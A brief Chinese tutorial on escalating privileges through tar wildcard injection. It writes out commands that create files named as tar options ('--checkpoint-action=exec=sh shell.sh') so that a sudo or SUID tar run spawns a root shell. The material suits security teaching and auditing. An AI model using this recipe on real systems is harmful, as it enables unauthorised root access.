tar命令有两个参数 --checkpoint --checkpoint-action
–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
这里的‘–checkpoint-action’选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,选项‘–checkpoint=1’ 和 ‘–checkpoint-action=exec=sh shell.sh’作为命令行选项交给了tar程序。
所以当可以通过sudo或suid执行tar命令时,可以通过该方法进行提权
echo "/bin/bash" > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1 tar cf archive.tar *
当执行tar 命令时,通配符* 会自动被替换成参数,完整的命令就成下面
tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh shell.sh
shell.sh里面又是我们的shell命令,所以自然而然会给我们一个高权限shell,提权成功